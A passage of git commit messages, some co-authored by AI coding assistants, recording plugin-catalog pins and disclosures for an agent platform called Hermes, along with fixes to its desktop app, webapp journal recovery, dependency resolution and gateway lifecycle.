`linux` and `macos` are both exercised: the GPG store, `pass init`, and the
`.gpg` subdir walk are the same on either.

Entry-only change: `sha` and `version` are untouched, still `485f105` / 1.0.0.
The platform claim is about the package's capability, not about this pin, and
1.0.0 had the same bash dependency.

Related: #146751 carries the same line as part of the 1.1.0 bump. That PR is
blocked on the `/s` sender-gate rework, which is unrelated to this field, so
landing the one-line correction separately keeps a false OS claim off the
listing in the meantime. Whichever merges first, the other needs a one-line
rebase.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Re-pins to 9af39a5, which only adds docs images; plugin/ is unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Two read-only tools over the machine's own update record. win_update_history reads the
Windows Update Agent's session history newest first and decodes each entry's outcome into
words, with failure codes shown in 0x form; only_failures and a title filter narrow it.
win_hotfix_table lists the OS-level hotfixes (KB ids, dates, newest first). Only
QueryHistory / GetTotalHistoryCount are called - the online Search() appears nowhere;
nothing is downloaded, installed or uninstalled.

Pin 3e46cc3 = the commit that adds the plugin; the admission validator passes 15/15 with
zero warnings and the 23-test suite (16 unit + 7 live) passes on the working copy and
inside the pin tarball. On the writing machine a 723-entry history returns the newest 500
in about a tenth of a second after the COM session's first quarter-second start.
Two offline tools (census lookup + page validator) and four skills for
the Aurora CSS design system. No network, no subprocess, no writes, no hooks.
Tools renamed to aurora_search / aurora_validate with English parameters and
English output; demo pages and screenshots translated.
Two read-only tools over the Windows service manager. win_service_table lists every
service with its state, start mode (delayed flag folded in), pid, account, binary,
dependency edges both ways, and its exit code in words - 1077 never tried since boot,
1053 did not answer in time, 1075 waits on a dependency that failed first, 2 a binary
that is gone. win_service_detail adds the failure policy (FailureActions decoded:
restart, reboot, run a command, after how long, when the count resets), whether the
registered binary is still on disk, and the SCM event-log record behind the failure.

Pin e278adf4 = the monorepo head; the admission validator passes 15/15 with zero
warnings and the 17-test suite passes on the working copy and inside the pin
tarball. The listing is one Get-CimInstance call (enum values do not change with
the display language, unlike sc.exe); dependencies and failure actions come from
the registry, because CIM's DependOnService is never populated (measured: 293
services, zero hits) and the failure policy exists nowhere in CIM at all.
ys118/harnmem moved five commits past f042fe2 since the last pin, four of
them touching packages/hermes-harnmem: #47 wires toolPrefix harnmem_ into
the hermes engine (the injected SSOT footer now names harnmem_search),
#49/#50 refresh npm metadata and the README/logo, and #51 (v0.7.5) bumps
hermes-harnmem to 0.1.2 with plugin.yaml synced.

- sha: f042fe2... -> 4436bea635534eeba8fb78b0f26510388a815714
- version: "0.1.1" -> "0.1.2" (matches packages/hermes-harnmem/plugin.yaml
  at the pinned commit)
- docs_url: same blob, now on 4436bea

Validation on the pinned tree (4436bea, local checkout at that commit):
- python scripts/validate_plugin_catalog.py plugin-catalog/harnmem.yaml
  -> OK: 1 file(s) valid
- hermes plugins validate <pinned>/packages/hermes-harnmem --install-deps
  (Hermes Agent v0.22.5, local Windows) -> all checks pass
Proactive follow-ups for Hermes. Event-driven wake gate (no-LLM script on the
cron tick), review prompt, and a local SQLite board. Ships a single /followups
command; no tools, hooks, network calls or credentials.
Addresses the review on 9083ebc: fresh-install cursor table, English-first
prompts/CLI, README disclosure; plus gates and sending moved into code
(followups.py send), owner-only /followups, and doctor for upgrades.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
hermes-tag was delisted in b71ba34819 for the rule 9 violation reported
in DanielLi202/hermes-tag#26. v0.5.0 removes that override.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Portable Agent Plugins v1 package (plugin.json, mcp.json and one skill)
for FateTell's hosted Streamable HTTP MCP server, pinned to
RussGuo/fatetell-mcp@5d81776071.
Also maps the commit-author email to the RussGuo GitHub login in
contributors/emails/.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Lists mozilla-ai/hermes-provider-otari, a model-provider plugin for
Otari, the open-source LLM gateway by Mozilla.ai.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The entry jumps from the last pin on main (94a042d, 1.7.3) to 1.9.0: the graph now draws status
columns with a header, a tone and a count, folds them to a rail, and cards carry the worker's latest
summary and the bundled card's footer. Also fixes the top-down centring (every parent placed onto
children that are already final) and the one-slot spacing the centring passes owe.
Same file, same single change as the 1.8.2 pin this branch carried before.
Koi and jellyfish drawn live in text glyphs for Hermes Desktop. Pinned to e5be8d2 on the plugin repository's catalog branch, which omits the Chat area placement (rule 8).
NeuralWatt API analytics plugin — health, models, quota, energy, usage,
requests and sessions as 7 read-only tools. Stdlib-only, no dependencies;
credentials via agent.secret_scope.get_secret only.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Adds plugin-catalog/scribase.yaml, pinned to caelum0x/scribase-hermes-plugin
@ 77641be477430b83a082406cdf7c6dbb7037e6ca. Registers one tool,
scribase_create_project, that provisions a hosted Postgres backend project
on Scribase (api.scribase.com) via its public REST API.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Two read-only tools over the software inventory behind Apps & Features. win_app_table
sweeps the four Uninstall registry keys (machine 64/32-bit views plus the user's), with
size, install date, the view each row lives in, 32/64-bit dual installs marked on one row,
and publisher-hidden entries filtered unless asked for. win_app_detail gives every
publisher-written field plus a reading of the uninstall command (MSI product code, setup
executable, appx, script) and checks the install folder against disk. Uninstall strings
are reported, never run.

Pin 05a0110 = the commit that adds the plugin; the admission validator passes 15/15 with
zero warnings and the 19-test suite (14 unit + 5 live) passes on the working copy and
inside the pin tarball. Pure winreg - 102 entries in 7 ms on the writing machine, no
PowerShell, no WMI, no elevation.
- sha -> c42bb51ec918c6a5c6c2bd892ec58969c1485a79 (all ten review items)
- description: drop the retired "needs no API key / reuses credentials" claim;
  state per-app approval and the documented network/command paths
- capabilities.requires_env -> [HF_TOKEN, GITHUB_TOKEN]
- capabilities.provides_hooks -> [pre_tool_call]
- known_issues: drop the cron.jobs item (now on the public hermes cron route);
  add the npm-provisioning prerequisite
Re-pins the catalog entry to Guerilla-ops/floorvault@4cf8abe, which carries
the fixes for the review of 6fc8132e, and floorvault 0.2.2 on PyPI with the
library half. version 0.2.0 -> 0.2.1; docs_url and image follow the sha.

The disclosure text is updated to the new behaviour: the key comes only from
token_env in the profile's scoped environment or the OS key store (never
FLOOR_VAULT_KEY / VAULT_MASTER_KEY, which are now protected); startup never
prompts or creates a key or store; `hermes hvault setup` is the one-time
step that may unlock and create.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KpQZ1BXPVLK9YHsC7TKZLz
- sha, docs_url and image now point at 415ae23, the v0.2.8 release
  commit.
- version is 0.2.8.
- The disclosure covers the plugin's custody setting:
  - os (default), key_file or systemd-creds;
  - FLOOR_VAULT_KEY_FILE is never read;
  - a failed custody is not replaced by another.
- "No subprocesses" is replaced by the one systemd-creds subprocess,
  which runs only with custody: systemd-creds.
- key_file and systemd-creds need floorvault 0.2.8 or newer.

Validated with scripts/validate_plugin_catalog.py.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KpQZ1BXPVLK9YHsC7TKZLz
- sha, docs_url and image now point at d6a2621, the v0.2.9 release
  commit.
- version is 0.2.9.
- The plugin now enforces `floorvault secrets allow` command bindings
  against Hermes' own command line, so the disclosure says so: it reads
  sys.argv and sys.orig_argv of the Hermes process only, resolves a bound
  item only when Hermes was started with one of its bindings, and
  secrets.hermesvault.require_binding (default off) also skips items that
  have no binding.
- The floorvault requirement is now >=0.2.8,<0.3, matching plugin.yaml.

Validated with scripts/validate_plugin_catalog.py; the pinned docs_url
and image return 200.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KpQZ1BXPVLK9YHsC7TKZLz
- sha, docs_url and image now point at 9b21280, the floorvault main commit
  that carries plugin 0.3.0 and `hermes hvault bind`.
- version is 0.3.0; the dependency statement is floorvault>=0.2.8,<0.4,
  matching the manifest.
- The description mentions `hvault bind`, which stores a value and maps it
  in one step.

The plugin at this commit was run against floorvault 0.2.9 from PyPI, the
newest published release (109 plugin tests passed), so a Hermes install
resolves. Validated with scripts/validate_plugin_catalog.py; the pinned
docs_url and image return 200.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KpQZ1BXPVLK9YHsC7TKZLz
- sha, docs_url and image point at 62e4185, the commit the floorvault 0.3.0
  release (tag v.0.3.0, PyPI floorvault 0.3.0) was built from.
- version stays 0.3.0; the dependency statement is floorvault>=0.2.8,<0.4.
- The description no longer mentions `hvault bind`, which is not in this
  commit (it landed on floorvault main afterwards).

Validated with scripts/validate_plugin_catalog.py; the pinned docs_url and
image return 200.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KpQZ1BXPVLK9YHsC7TKZLz
Keyword-index memory shipped as a standalone plugin: pre_tool_call hook plus
tool_execution middleware that keeps a keyword routing index well-formed.
Pinned to the commit whose plugin manifest passes `hermes plugins validate`.
Addresses the 2026-11-02 review:
- the install path no longer patches Hermes core; the plugin refuses any
  memory-tool edit whose old_text lands inside the index header, so the
  stock store is safe as-is;
- autoclean drops a placeholder only while it still matches the shipped
  template text exactly, so a user's own line for the same file survives;
- the shell heuristic refuses only write vectors aimed at the index, so
  reading it through a pipe works again;
- the documented 5-20 keyword band and the Unicode-only arrow are enforced
  on every path.
Understudy auditions cheaper models on the user's real Hermes history: it
replays sampled past decisions on candidate models through ctx.llm, has a
blind judge compare each step with what the current model did, and reports
takeover rate, misses and projected cost.

Generated with [Devin](https://devin.ai)

Co-Authored-By: Devin <158243242+devin-ai-integration[bot]@users.noreply.github.com>
Plugin source: github.com/adroidian/clack @ a965b33 (plugins/hermes-clack)
8 tools + bundled skill; stdlib-only (vendored X25519/ChaCha20-Poly1305/Ed25519);
E2EE-only sends, durable acks, relay identity pinning, bounded retrieval.
Validated: hermes plugins validate (main @ ed1afb0) passes; 38 tests; live
two-agent encrypted demo with receipts.
Re-pin to hermes-tameru-plugin 9f80514 (v1.6.0): vendored engine grows to
Tameru 1.6.0 — reducers for many more tool outputs (build/test/package
managers, containers, service logs, Windows tools), anchors and summaries for
generic and empty queries, multi-language query handling, a private regex
cache — plus a user-facing catalogue README and plain-language descriptions.
No disclosure changes: same surfaces, same single tool, no network, no env.

Generated with [Devin](https://devin.ai)

Co-Authored-By: Devin <158243242+devin-ai-integration[bot]@users.noreply.github.com>
The pinned SHA moved because the upstream README's install section now leads
with 'hermes plugins install basekit' instead of a manual git clone. Code is
unchanged; only the install documentation differs.
Pinned SHA moves again for documentation only: the upstream README now shows
the CI badge, links the 84s demo, and carries live evidence from block
53,546,070. No code changed.
Documentation and evidence only - no code path changed. The upstream repo now
carries docs/hook-proof.md (generated from captured JSON) plus the 82s
walkthrough rendered from those captures.
Documentation only. README now carries both demo links - the 84s plugin
walkthrough and the 82s measured hook A/B - and docs/hook-proof.md points at the
posted video beside the in-repo mp4.
Documentation only. The upstream repo corrects its own A/B: the first toggle wrote
to a config file the runtime does not read, so both arms ran with the hook on and
the published 1.33-vs-2.67 figure was noise. Re-measured with the setting asserted
per run: no reliable tool-call saving. docs/hook-proof.md is regenerated from the
captures, keeps the invalid one, and the video is re-rendered from the corrected
JSON.
Documentation and evidence only. The hook experiment is now powered (n=24 vs 23
pooled, arms interleaved, toggle asserted per run): the effect stays unproven at
p=0.17 and the interval bounds it at under a fifth of a call.
Cosmetic only - no code path changed, so `version` stays 1.0.0 and the card
label still matches the code. Adds the two optional display fields the schema
documents:

  image:       docs/banner.png         (1200x600, 2:1)
  screenshots: status, wallet, token, gate

Every image is rendered from captured command output by the plugin's own
scripts/render_screenshots.py, and docs/screenshots/CAPTURE.md records the exact
commands, date and block numbers. They use the WETH contract and USDC as sample
addresses - no personal wallet, key or API credential appears in any of them.
All six raw URLs are pinned to the entry's commit, so the pictures are as
immutable as the code they document.
Two honest limits a user should see before installing, both verified rather
than guessed: public RPC endpoints rate-limit (HTTP 429 seen in the test run
today) and the windowed reads can only ever answer about their window. Nothing
is parsed for installs - these show at the install prompt and in review.
The transcript-integrity core spec found the fresh p2 tab with
getByRole('tab', { name: /Draft/ }). That only worked because the tab had no
aria-label, so its accessible name was computed from its content, which
included the status dot's "Draft — nothing sent yet" label.

#146606 (keyboard-accessible session tabs) gave every pane tab
aria-label={title}. That is correct for screen readers, but it means the tab's
name is now just "P2" and the old locator never matches. Desktop core E2E runs
only on release attempts and dispatches, so PR CI never saw it; rc.1-v0.23.0
failed here deterministically.

The locator now picks the selected "P2" tab by name and asserts that the draft
status dot sits inside it, so the step still proves the click opened a fresh
draft on the p2 profile.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

Claude-Session: https://claude.ai/code/session_01WGnNVyqtmzF8CUWtMQW7rT
(cherry picked from commit df4d5c9c10e6a3f2a6fec51c3b1fa2dd6121c776)
(cherry picked from commit 7ca97306d70be85eab739d43f9b159ace5dec101)
(cherry picked from commit 4a9249ea830620260e21788066d433eac89ef406)
Adds the portable Adwave package, pinned to 0b5ab18. It creates and
changes real ad campaigns that spend the user's prepaid wallet.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
(cherry picked from commit a3fd00376d87c3af2cab8dc757e9dd7ea3cf2c38)
(cherry picked from commit 72c3724abd24d7e5151848501e5a1770bae93f8c)
(cherry picked from commit 52c7e33ccfcc53ecd882571f6ca33c1a90f92163)
(cherry picked from commit 2999f52182a05d9dfdb1e5ab8510fa021445fb8d)
(cherry picked from commit 95810274b0315e80047493494fc51f34a8a91276)
Bump the Agent Blackbox pin to umanitek/agent-blackbox@f9224a3cda (release blackbox-v1.2.0). Owner update under catalog rule 4: sha, version, and the docs_url / image / screenshot URLs re-pinned to the same commit.

(cherry picked from commit 1b1cf863ee8b42285af10c51674bbd4f823fcc7c)
(cherry picked from commit 8edccf48e03ab2a07fcad21fa29c0c7c57fd56ff)
(cherry picked from commit d4d2b1988da4df8de6bc62e6639eda7c16613086)
(cherry picked from commit b0cdccfdd693fe0162506c0d87249025078d8490)
(cherry picked from commit 56eaecedba3883a5a4c534c3bcd898ffecc03776)
(cherry picked from commit 4af998272a6757779af3d1a5ca428e4a54d7f42e)
(cherry picked from commit c8ffc6bbc193523a79e471a74c2e186bf6a4f378)
(cherry picked from commit 2ec267c5b65b826de167ef0a367921bc7756fdc1)
(cherry picked from commit 62e609844cb01837fce11c0a68239a6413f8381e)
(cherry picked from commit 7976284f6d50bc7d4dc9af8f2c7ec9f36ab5302f)
(cherry picked from commit 13bff3ddb6c01207979d947341a8621aa7593a86)
Disclosure lines from the 1105 catalog review for makernice, habitude,
blackbox, adaption, cliproxyapi-provider, cpa-status, ethics-filter and
soul-finder; onda requires_hermes >=0.22.0 (portable-package support).
Pin NousResearch/hermes-official-plugins at 65f5ad9 (merged #298):
right-clicking a scan row opens Open and Delete, long dropdown values
stay on one line, and the version moves to 0.1.1. No new tools, hooks
or dependencies.
The image URL still named the old commit. Use the same commit as sha.
A delegation backend's routes can carry keys of its own (e.g. a
per-route `daybreak` opt-in), but PUT /api/delegation/backends/model_map
copied only core's route fields, so any Desktop save silently dropped
them and the route kept running without the setting.

- DelegationProvider.route_keys (default empty): keys of the backend's
  own route entries that settings editors may write and must keep.
- BackendInfo / GET /api/delegation/routing list each backend's
  declared route_keys (blank, non-string and repeated entries dropped;
  a broken plugin property declares nothing instead of hiding the
  backend).
- The model_map save keeps declared keys as sent (the backend validates
  them) and any other key the stored route already carries when the save
  sends it back unchanged; a key nobody stored is still dropped.
The route dialog offers a Daybreak select (Off / On) only when the
installed model_map backend declares the `daybreak` route key and this
account's Codex catalog lists Daybreak for the chosen model (the same
capability the main model menu's Daybreak switch uses). An older plugin
that would ignore the key never gets the control.

- Switching to a model or provider without Daybreak clears the opt-in.
- A stored opt-in the plugin cannot run, or whose model is no longer
  listed, stays visible with a warning so it can be turned off.
- Turning it off removes the key; the route list marks Daybreak routes.
- Strings in every locale.
_clean_model_option read extra route keys with entry.get(), so an
explicit null and an omitted key looked the same: a declared key sent
as null was dropped, and a stored extra key holding null survived a
save that left it out (the editor's way of turning a setting off).
Both loops now decide on whether the key is present: null is kept as a
value, and an omitted key is removed.
Pins NousResearch/hermes-official-plugins@bedc9e7 (one commit in
advanced-delegation since e404b68: per-route OpenAI Daybreak for model
routes, NousResearch/hermes-official-plugins#299). The description adds
the Daybreak route key and discloses its one network touch: a Daybreak
route checks the Codex catalog through core's cached lookup with the
existing Codex login. No new tools, hooks, middleware, env vars or
Python dependencies.
The entry now pins bedc9e7; the image URL still named e404b68. Same
bytes at both commits, so this only keeps the entry on one commit.
A tab that closed mid-turn leaves its in-flight journal in localStorage.
When the chat is reopened after that turn finished, the old prompt and its
partial reply can be appended below the newest reply, and they come back on
every reload (#136335).

Root cause: recovery decides whether the journaled turn finished by finding
its completed reply in the restored transcript. That inference fails when
the prompt sits outside the newest page (a long tool-heavy turn, or newer
turns from another device), when compaction re-stored the rows, or when the
last throttled snapshot differs from the final text. The no-match branch
then appends the tail, and the journal is re-persisted, so it never expires.

The owner already knows. Its reopen snapshot lists every admission it has
not finished (queued, started, or unknown after a crash) under the client's
submission id, and a send's optimistic prompt id is `user-<submission id>`.
recoverInFlightTurnJournal now takes that list: a journaled turn the owner
no longer lists has finished and its journal is cleared before any
transcript matching; a listed turn keeps today's live fold (started) or
crash recovery (unknown). A tail whose prompts name no admission is treated
as finished only when the list is empty. With no list (owners without an
admission ledger, the failed-resume fallback) behaviour is unchanged.

webapp-stale-journal.spec.ts runs this against a real gateway and Webapp
build: the stale-turn test fails on main and passes here, and a gateway
SIGKILL and restart mid-turn still recovers the streamed reply from the
journal (the owner lists that turn as unknown).

Introduced with the journal in 8d8d1d61fe (crash-survivable in-flight turn
journal), whose recovery appends the whole tail when the loaded transcript
does not hold the journaled prompt.
A cold reopen reads the newest REST page alongside session.resume and
normally omits the snapshot's history, so that page can be read before a
turn commits its final reply. Until now a stale journal stood in for the
missing reply. Now that a finished turn's journal is cleared, nothing does,
and the reply stays missing until the next refresh.

rereadPageAfterResumeBarrier already re-reads once when an idle owner
answers and the page's tail is still a local row. It now also re-reads when
the journal holds a turn the owner no longer lists, idle or not: a queued
successor may already be running. The read is safe because settlement
(settle_session_input) marks an admission terminal only after the agent
wrote the turn's rows, so a page read after a snapshot that omits the turn
holds its reply. A resume that carries its own snapshot is still ordered by
durable row id (prefetchServesResume). Owners without a pending list never
trigger the extra read.

resume-settled-journal-reread.test.tsx drives the real resumeSession with a
page read before the reply: with the owner idle, and with the next queued
turn already started. Both failed before this change; a control checks that
an ordinary reopen still reads the page once.
When the owner no longer lists a journaled turn, the cold resume reads the
REST page again after the resume answer, because the first page can predate
the turn's final reply. If that second read rejected (or answered for another
session), the early page was kept and recovery still retired the journal from
the same pending list. The chat then opened without the finished reply and
without the streamed progress the journal held, with nothing left to recover
from.

rereadPageAfterResumeBarrier now returns the owner's pending list with the
page and withholds it when the required re-read fails. Recovery then falls
back to main's transcript fold and keeps the journal; the next reopen that
reads the page retires it. index.ts takes the list from the barrier instead
of deriving it again.

New test: a rejecting second read keeps the journal and shows its streamed
progress. Red on 19c46310 (replies [], journal cleared), green here.

Reported by greptile (r4470553504) and @unsupportedpastels in review.
91b122980a handled a failed re-read by withholding the owner's pending list,
so recovery fell back to main's fold with keepPending set from the session.
When the next queued turn was already running, that fold returned the
finished turn's reply as the stream target and its start as the turn clock,
and the successor's next delta extended the old reply instead of its own.

The barrier now marks the list `replyUnread` instead of withholding it.
Recovery retires a finished turn only when the page was read; otherwise it
folds that turn as settled output (keepPending off, no stream target, no turn
clock) and keeps the journal, because a turn the owner reports finished is
never the one running now.

New test: a running successor with an in-flight projection, a rejecting
second read, then one delta. Red on 91b122980a and on main 9a76ac8e4f
(["Reading the issue them by area", "Grouping"]), green here
(["Reading the issue", "Grouping them by area"], successor's clock kept).

Reported by greptile (r4471401082).
A journal named its turn only through the prompt bubble's id
`user-<submission id>`, the id of that prompt's first send. A regenerate,
restore or edit keeps the bubble while the re-send runs as a new admission,
so after a gateway crash the owner listed the new admission `unknown`, the
journal named the settled one, and the only copy of the streamed reply was
retired. A canonical queue drain adds no bubble at all: its journal opens at
the previous turn's prompt, and when that is a stored row naming no
admission, a finished drain with a queued successor was replayed.

Every owner frame carries the claimed execution's stamp (`admission_id`,
`authority_epoch`, `execution_generation`). The gateway-event dispatcher
records the admission of each fully stamped frame the execution fence
accepts on the session state (`turnAdmissionId`); the journal stores it as
`admissionId` and reopen matches it against the pending rows' `admission_id`.
Entries without one (older builds, owners that stamp nothing) keep the
prompt-id fallback. Resume takes the admission from the recovery, null unless
the journal was applied and not finished, so a recovered `unknown` turn
still names itself on the next reopen and a finished one never names the
successor running beside it. A warm activation takes the snapshot's running
execution (its non-steering `started` row) unless a frame named a newer one
while `session.activate` was in flight, so a tab that finished one turn and
adopts another device's never journals it under the old admission. The
recovery-to-state mapping moves into `recoveredTurnFields`, which keeps the
resume facade shrinking.

Resume reads the canonical snapshot's own `pending` list, not the derived
`info.pending_submissions`, a name a forwarding owner also uses for a
partial list.

The Webapp journal e2e shares `freePort`, `hermesCli` and
`webappLaunchLink` through the core harness, finds the journal by what the
dead tab stored instead of a versioned key, reads the "old prompt is off the
page" premise from the reopened renderer's own newest-page read, and fills
the page with in-process `todo_list` calls instead of 128 shell spawns.
d55f66d47d has a warm `session.activate` replace the session's admission
with the snapshot's running execution (its non-steering `started` row). A
turn the owner lost in a crash is listed `unknown` and runs no execution, so
switching back to a chat whose journal had just recovered that turn installed
null. The state cache then rewrote the journal without `admissionId`, the
next reopen fell back to the prompt id, and for a regenerate that id is the
first send's, which the owner no longer lists: the journal holding the only
copy of the streamed reply was cleared. main keeps it.

When the snapshot names no running execution, the activation now keeps the
session's admission while the owner still lists it. A frame that named one
during the activation still wins, through a shared `admissionAfterResume`.

New tests: a cold reopen recovers an `unknown` regenerate, the same chat is
warm-activated, then a fresh reopen must still show the partial reply. Red
on 94656028fa (the reply is gone), green here and on main 0073fa98cf. Plus
the unit rule in resume-turn-admission.test.ts.

Reported by kshitijk4poor (review 5780344915, item 1).
`recoveredTurnFields` always wrote `turnAdmissionId` from the journal
recovery, null unless a still-pending journal was applied. Stamped frames
that arrived during the cold resume had already recorded the live
execution's admission; the resume's state update replaced it with null, and
the 400 ms journal flush then wrote the tail without it. A tab that died
before the next stamped frame left a journal the next reopen could only
judge by its prompt id.

The resume now copies the runtime states before it sends `session.resume`
and keeps an admission that changed since then, the rule warm activation
uses. The copy is taken before the request because the owner attaches the
event stream before it answers, so frames, including those of a send its
snapshot predates, can land before the answer. The runtime id is only known
from the answer, hence a copy of the map rather than one state. Without a
change, an admission the owner still lists is kept too, through the helper
warm activation shares; one that finished gives way to the recovery's.

`recoveredTurnFields` now takes the resume snapshot and derives the turn
clock from it, which keeps the over-cap resume facade from growing.

New tests: the successor's stamped frames land before the owner answers
(for a successor the snapshot lists, and for a send it predates) or while
the page is re-read beside a finished turn's journal; the session must
still name that execution afterwards. All three rows red on 94656028fa; the
send-it-predates row before the answer also red on the two earlier versions
of this fix.

Reported by kshitijk4poor (review 5780344915, item 2).
`executionAdmission` reads an admission only from a fully stamped frame.
Nothing tested that guard: removing `executionStamp(event) &&` left every
test green, because `acceptUnstampedLifecycle` rejects the cancellation
frame first today. If that fence changes, a cancelled queued row would
become the live turn's admission.

The test reads both frames from the real owner capture: a claimed
`message.start` names its admission, the paused queue's cancellation
`message.complete` (admission and epoch, no generation) names none. It
fails with the stamp check removed.

Reported by kshitijk4poor (review 5780344915, item 4).
Publishing v0.23.0 committed the Microsoft Store submission, and Partner
Center answered POST .../commit with 202 Accepted and status CommitStarted.
The submission API helper only accepted 200, so the publication pass logged
"commit failed: 202 {'status': 'CommitStarted'}" and told the release owner
to check Partner Center by hand, even though the commit had started.

Any 2xx is now success. The fake Partner Center in the tests answers a commit
with 202, as the live API did, so the six tests that commit a submission fail
on the old check.
Every workspace imported packages it never declared and found them only because npm hoists the
whole tree to the root node_modules: desktop (app-builder-lib, @electron/osx-sign, @electron/asar,
plist, @tailwindcss/node, remark-gfm, remark-parse), bootstrap-installer (@nanostores/react),
shared (vitest), ui-tui (chalk, strip-ansi) and tests-js (@types/node, vite, esbuild). Each is
pinned to the version npm already resolves for it, so the installed tree is unchanged apart from a
tests-js copy of @types/node matching the other workspaces' 22.20.5.
A cherry-pick declared ws ^8.22.0 under dependencies while devDependencies already pinned 8.22.0.
Only a test imports ws, so the exact devDependency pin is the one that stays.
npm honours overrides only in the root package.json, so ui-tui's ink-text-input > ink alias never
took effect: the lockfile resolves ink-text-input's ink peer to the upstream ink 7.1.1. Removing it
changes nothing that is installed, and pnpm ignores workspace overrides the same way.
Packaging scripts and tests reached app-builder-lib's internals as ../../../node_modules/..., and
test fixtures junctioned only the repo-root node_modules, both of which assume npm hoists every
package to the root. The internals are now joined onto the installed package's resolved entry (the
pattern windows-bundle-tools.mjs already uses), AppInfo comes from the package's public entry, and
fixtures mirror both the root and apps/desktop node_modules, so the copied desktop files resolve
their dependencies exactly as the checkout does. gen-msix-manifest output is byte-identical.
The @font-face url pointed at ../../../node_modules/@nous-research/ui/dist/fonts, the hoisted
location. @nous-research/ui exports ./fonts/*, and Vite resolves package specifiers in CSS url()
through that map, so the desktop and the bootstrap installer that imports its stylesheet emit the
same font asset without assuming where the package is installed.
The @source pointed at web/node_modules/@nous-research/ui/dist, but npm hoists the package to the
root node_modules, so Tailwind silently skipped it and the dashboard lost the utilities only the
bundle uses (--font-sans, .!visible). Tailwind cannot resolve packages, so both locations are
listed; the missing one is skipped.
Scripts outside the declaring workspace found these through the hoisted root node_modules:
mock-server and connector-rehearsal (whose desktop-local Electron path did not exist under npm),
ui-tui's visual harness, the eval harnesses, and the tests/install/e2e-assets drivers, which import
tests-js's @playwright/test and zod. They now resolve from apps/desktop or tests-js; the typed
e2e-assets files go through a tests-js re-export module so their types resolve the same way.
allow-scripts-sync and assistant-ui-tap-compat returned early without a lockfile, and
react-dom-pair-compat checked nothing when the workspace list was empty, so all three would pass
vacuously once their input moved. They now fail instead.
Two changes that npm's hoisting hid and pnpm's layout exposes:

- reactCompilerPreset()'s rolldown.filter is optional once @vitejs/plugin-react's
  optional type peers resolve (TS18048 on the in-place assignment). Spread the
  preset instead of mutating it.
- Babel resolves preset plugin names from process.cwd(). Builders that run Vite
  from the checkout root (installer, Docker, Nix) only found
  babel-plugin-react-compiler because npm hoisted it there. Pass the config
  dir as babel's cwd.
- The MCP OAuth renderer probe bundled its entry with esbuild resolving from
  the checkout root, so its react, react-dom and react-query imports still
  relied on hoisting. Resolve them from apps/desktop, which declares them
  (verified: from the root they fail to resolve in an isolated pnpm tree).
- The Windows MSIX commit fixture linked node_modules before `git add apps`,
  so the commit could pick up the dependency link. Link the install trees
  after the commit, which needs only the fixture's own files.
The gateway mounts the dashboard app on its own listener. There the idle
proof read only a standalone serve child's ledgers, never the gateway
runner, so with an agent running GET /api/health/idle answered idle and
POST /api/health/retirement prepare/commit took the retirement fence.
Afterwards dashboard RPCs, cron ticks and new admissions were refused
until restart while the gateway kept running.

When the app is mounted on a gateway (app.state.gateway_runner set), the
idle route now reports idle false with reason gateway_owns_lifecycle and
the retirement route refuses every action with the same reason, without
touching the fence. The gateway keeps retiring through its own idle exit.
Standalone serve behavior is unchanged.

Refs #145171 (EP-15)
The gateway listener refuses retirement whenever a gateway runner is
mounted, busy or not. Remove the fixture lines that made the test look
load-dependent and rename the test to match.
The replay-gap recovery from #109403 is on main, but two of its tile
guarantees had no test:

- an authoritative snapshot that arrives after the tile finished a newer
  turn must keep that newer turn instead of rolling the tile back;
- an authoritative (message-bearing) resume must not join an
  omit-messages resume already in flight for the same tile; it queues
  behind it and then asks for messages.

Port both tests from #109403 (@unsupportedpastels). The second test now
passes the tile's owner scope to the in-flight resume. Main keys resume
flights by connection, so without the scope the two resumes never share
a key and the test passes even with serialization removed. It also
waits a macrotask instead of one microtask before checking that only
one request went out.

Refs #145171
The late-snapshot test only checked that the newer turn was somewhere in
the merged transcript, so it still passed when the merge duplicated the
old or new turn. Assert the whole transcript in order instead.
A real `hermes gateway run` and a real `hermes serve` share one hermetic
home. A prompt sent through serve's /api/ws is held at a loopback model
that records which process called it, then serve gets SIGTERM mid-turn.

Three known_failure cells (reason `serve-cutover:`) record the gaps on
main: the prompt is not admitted through the gateway's session authority,
the turn runs in the serve process, and SIGTERM loses the turn. They pass
once the cutover lands. A control cell shows a turn through the gateway's
own /api/ws is admitted and runs in the gateway, so the observables can
pass. Boot failures and timeouts fail loudly.

Refs #145171 (EP-2, EP-3)
_until clamped each receive window to at least 0.1s, so once the TURN_S
deadline passed it kept granting new windows: a peer that kept sending
unrelated notifications could hold the loop open forever, or a match that
arrived after the deadline still passed. Check the remaining time on every
iteration and raise TimeoutError once it is used up. _until runs in the
module fixture, outside the known_failure wrappers, so a timeout errors
the tests instead of xfailing them.
Linux shares a connect()-assigned local port across different remotes, so
matching /proc/net/tcp on the local address alone could pick another
process's socket and label the control turn unknown. Match the remote end
(the fake model's listener) too.
The serve caller was read at a fixed ordinal (the second main call), so a
control turn that retried once made the execution cell read the control's
